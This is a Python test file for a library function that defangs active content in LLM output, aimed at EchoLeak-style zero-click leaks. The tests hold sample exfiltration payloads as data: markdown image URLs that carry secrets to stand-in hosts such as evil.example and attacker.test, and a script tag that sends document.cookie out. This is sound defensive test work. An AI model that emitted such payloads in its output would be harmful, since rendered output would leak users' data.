"""Tests for active-content neutralization (build order step 6).

``neutralize`` is the opt-in, PURE defang helper for model OUTPUT. It closes the
EchoLeak class (CVE-2025-32711): active content in persisted model output that a
downstream renderer auto-fetches (markdown images) or makes clickable, leaking
data zero-click. These carriers are neither injection strings nor high-entropy,
so lexicon + entropy miss them entirely.

Invariants mirror the sanitizer: clean output returns byte-identical with an
empty report; only active-content constructs are ever rewritten. Mutation lives
here, kept separate from the report-only output gate (design principles 3 & 4).
The transform is pure ``text -> (defanged_text, report)`` — no I/O, no globals.
"""
from llm_ingestion_guard.neutralize import neutralize
from llm_ingestion_guard.report import Severity, Source


def test_clean_output_is_byte_identical():
    text = "A perfectly ordinary wiki paragraph. Costs $5! See section [1] below (really)."
    result = neutralize(text)
    assert result.text == text
    assert result.report.found is False


def test_default_source_is_output():
    # Unlike sanitize/fence (INPUT), this module targets the model's OUTPUT.
    result = neutralize("![x](https://evil.example/leak)")
    assert result.report.found is True
    assert all(f.source is Source.OUTPUT for f in result.report.findings)


def test_markdown_image_is_defanged_high_severity():
    # The EchoLeak primitive: an auto-fetched image URL carrying exfiltrated data.
    result = neutralize("![logo](https://evil.example/leak?data=SECRET)")
    assert "https://evil.example" not in result.text  # fetchable URL is gone
    assert "hxxps" in result.text
    assert "logo" in result.text  # alt text preserved for audit
    img = [f for f in result.report.findings if f.label == "neutralize:markdown-image"]
    assert len(img) == 1
    assert img[0].severity is Severity.HIGH
    assert img[0].detector == "neutralize"
    assert img[0].owasp == "LLM05"


def test_defanged_url_is_not_resolvable():
    result = neutralize("![x](https://evil.example/x)")
    # Scheme neutralized and host dots bracketed -> no renderer will resolve it.
    assert "hxxps://evil[.]example" in result.text


def test_secret_exfil_url_no_longer_fetchable():
    exfil = "STOLEN-SESSION-DATA"
    result = neutralize(f"![ ](http://attacker.test/c?k={exfil})")
    # The secret text may remain visible, but never inside a fetchable URL.
    assert "http://attacker.test" not in result.text
    assert "hxxp://attacker[.]test" in result.text


def test_inline_link_is_defanged_medium():
    result = neutralize("click [here](https://evil.example/go) now")
    assert "https://evil.example" not in result.text
    assert "here" in result.text
    link = [f for f in result.report.findings if f.label == "neutralize:markdown-link"]
    assert len(link) == 1
    assert link[0].severity is Severity.MEDIUM


def test_image_is_not_double_counted_as_link():
    result = neutralize("![alt](https://evil.example/x)")
    labels = {f.label for f in result.report.findings}
    assert "neutralize:markdown-image" in labels
    assert "neutralize:markdown-link" not in labels


def test_reference_style_link_definition_is_defanged():
    text = "See [the doc][ref].\n\n[ref]: https://evil.example/leak"
    result = neutralize(text)
    assert "https://evil.example" not in result.text
    assert any(f.label == "neutralize:reference-link" for f in result.report.findings)


def test_angle_bracket_autolink_is_defanged():
    result = neutralize("read more <https://evil.example/x> here")
    assert "https://evil.example" not in result.text
    assert "hxxps://evil[.]example" in result.text
    assert any(f.label == "neutralize:autolink" for f in result.report.findings)


def test_raw_active_html_is_escaped():
    result = neutralize('<img src="https://evil.example/leak?d=x">')
    assert "<img" not in result.text  # no longer renders as active content
    assert "&lt;img" in result.text
    html = [f for f in result.report.findings if f.label == "neutralize:raw-html"]
    assert len(html) == 1
    assert html[0].severity is Severity.HIGH


def test_benign_formatting_html_is_left_untouched():
    text = "This is **bold** and <b>strong</b> and <em>emph</em> text."
    result = neutralize(text)
    assert result.text == text
    assert result.report.found is False


def test_script_tag_is_neutralized():
    result = neutralize("<script>fetch('https://evil.example/'+document.cookie)</script>")
    assert "<script>" not in result.text
    assert any(f.label == "neutralize:raw-html" for f in result.report.findings)


def test_standalone_data_uri_is_defanged():
    result = neutralize("open data:text/html;base64,PHNjcmlwdD4= please")
    assert "data:text/html" not in result.text
    assert any(f.label == "neutralize:data-uri" for f in result.report.findings)


def test_data_uri_does_not_match_inside_a_word():
    # "metadata:" must not be mistaken for a data: URI (FP guard, as in sanitize).
    text = "the metadata: field is documented here"
    result = neutralize(text)
    assert result.text == text
    assert result.report.found is False


def test_multiple_images_are_counted():
    result = neutralize("![a](https://x.example/1) ![b](https://y.example/2)")
    img = [f for f in result.report.findings if f.label == "neutralize:markdown-image"][0]
    assert img.count == 2


def test_source_override_is_respected():
    result = neutralize("![x](https://evil.example/x)", source=Source.INPUT)
    assert all(f.source is Source.INPUT for f in result.report.findings)


def test_prose_with_lone_brackets_and_angles_is_identical():
    # FP guards: none of these are active constructs.
    text = "if a < b and c > d then see [note] and call f(x)."
    result = neutralize(text)
    assert result.text == text
    assert result.report.found is False